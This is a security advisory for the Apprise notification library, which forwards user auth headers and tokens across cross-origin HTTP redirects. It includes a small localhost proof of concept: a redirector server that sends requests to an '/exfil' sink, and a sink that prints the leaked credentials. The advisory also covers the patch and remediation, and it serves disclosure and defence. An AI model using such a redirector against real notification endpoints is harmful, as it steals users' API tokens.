GHSA-856c-92hv-3vxx: Infoleak

Summary

Apprise's HTTP-based notification plugins and its HTTP attachment / config loaders (apprise/attachment/http.py, apprise/config/http.py) follow HTTP 3xx redirects by default and re-send the user-configured auth headers and query parameters on the redirected request. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a 302 Location: to an arbitrary host and Apprise forwards the user's secret (X-Gotify-Key, Authorization, bearer tokens in query, custom +Header= values) to that cross-origin host. The attacker does not need to control the original Apprise URL — only the response from a destination the operator already trusts.

This is the application-layer analogue of urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 ("Proxy-Authorization forwarded across cross-origin redirect").

Affected versions

All releases up to and including v1.10.0 (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes PR #1610 (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).

Details

apprise/plugins/gotify.py (pre-fix HEAD, lines 226-244, verbatim):

python headers = { "User-Agent": self.appid, "Content-Type": "application/json", "X-Gotify-Key": self.token, # user-supplied secret } ... r = requests.post( url, data=dumps(payload), headers=headers, verify=self.verifycertificate, timeout=self.requesttimeout, # NO allowredirects=False -- requests default is True )

requests follows 3xx redirects by default and re-attaches the headers= dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (customjson, customxml, customform, gotify, ntfy, mattermost, appriseapi, and most other HTTP-based plugins), plus in apprise/attachment/http.py and apprise/config/http.py.

Reproduction (local, safe)

python attackerredirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink import http.server class H(http.server.BaseHTTPRequestHandler): def doPOST(self): self.sendresponse(302) self.sendheader("Location", "http://127.0.0.1:8082/exfil") self.endheaders() http.server.HTTPServer(("127.0.0.1", 8081), H).serveforever()

python attackersink.py -- 127.0.0.1:8082 logs the leaked headers import http.server class H(http.server.BaseHTTPRequestHandler): def doPOST(self): print("LEAKED HEADERS:", dict(self.headers)) self.sendresponse(204); self.endheaders() http.server.HTTPServer(("127.0.0.1", 8082), H).serveforever()

python victim from apprise import Apprise a = Apprise() a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN") a.notify(body="x")

Observed on master HEAD (2026-05-13): attackersink.py prints X-Gotify-Key: SECRETTOKEN -- the user-supplied token followed the cross-origin redirect.

Patch

Fix landed in caronc/apprise#1610 (merged 2026-05-16, commit 68c0aef):

- Adds ?redirect=yes|no URL parameter on every plugin URL - Adds AppriseAsset.httpredirects global default - Equivalent flags wired into apprise/attachment/http.py and apprise/config/http.py

The default remains redirects=True for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append ?redirect=no to their Apprise URLs or set AppriseAsset(httpredirects=False) globally.

Released in v1.11.0 (2026-05-29, available on PyPI).

Related: - Documentation: caronc/apprise-docs#60 (merged 2026-05-16) - API counterpart: caronc/apprise-api#331 (merged 2026-05-29; shipped in apprise-api v1.5.1, built on Apprise v1.11.0)

Remediation

Upgrade to Apprise v1.11.0 or later (pip install -U apprise).

The default remains redirect=yes for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set AppriseAsset(httpredirects=False) globally or append ?redirect=no to each plugin URL.

If you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model).

Classification

- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor -- user's auth tokens / API keys / custom +Header= values are forwarded onto the cross-origin redirected request. - CWE-601 URL Redirection to Untrusted Site -- a 3xx response from the initial (operator-configured) target sends the request and its credentials to a host the operator never configured.

CVSS 3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N -> 3.1 LOW.

Attack requires the operator-configured destination to be compromised or an attacker to be on the network path. Impact is partial confidentiality loss: a single user-supplied secret per redirected request, scoped to that one notification channel. This is intentionally a narrow redirect/header-forwarding hardening issue, not a claim that remote destinations or remote configuration are themselves vulnerabilities.